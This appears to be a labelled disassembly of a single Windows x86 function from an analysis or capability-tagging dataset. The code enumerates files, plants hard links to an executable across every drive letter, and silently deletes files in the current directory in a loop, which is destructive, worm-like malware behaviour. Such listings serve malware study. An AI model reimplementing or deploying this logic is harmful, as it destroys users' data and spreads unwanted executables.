Function at 0x402500
Capabilities:
Delete file
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.c.exe]
push ebx
mov dword [ebp - 0x170], eax
mov ax, word [0x4053b0]
push esi
push edi
mov word [ebp - 0x16c], ax
mov dword [ebp - 0x16a], 0
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x160]
push eax
push 0x4053b4
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40259a
nop dword [eax]
nop dword [eax + eax]
push dword [0x4082c8]
lea eax, [ebp - 0x134]
push eax
call fcn.00401ed0
add esp, 8
lea eax, [ebp - 0x160]
push eax
push esi
call ebx
test eax, eax
jne 0x402570
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x164], eax
mov bl, 0x41
test al, 1
je 0x402632
lea eax, [ebp - 0x170]
mov byte [ebp - 0x20], bl
mov word [ebp - 0x1f], 0x3a
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4025c1
lea edi, [ebp - 0x20]
sub eax, esi
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4025d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x20]
push 0
and ecx, 3
push 0x4082d0
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
test eax, eax
jne 0x40262c
push str.Error_creating_hard_link:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00401010
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4012d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [ebp - 0x164]
shr eax, 1
inc bl
mov dword [ebp - 0x164], eax
cmp bl, 0x5a
jle 0x4025a8
mov eax, 0x1414
mov dword [ebp - 0x190], 0
mov word [ebp - 0x180], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x190]
mov dword [ebp - 0x184], 0
push eax
movlpd qword [ebp - 0x17e], xmm0
mov dword [ebp - 0x176], 0
mov dword [ebp - 0x18c], 3
mov dword [ebp - 0x188], str..
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x402540
push str.Error_deleting_files:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00401010
add esp, 8
mov ecx, eax
push dword [ebp - 0x17e]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
push 0x4012d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x402538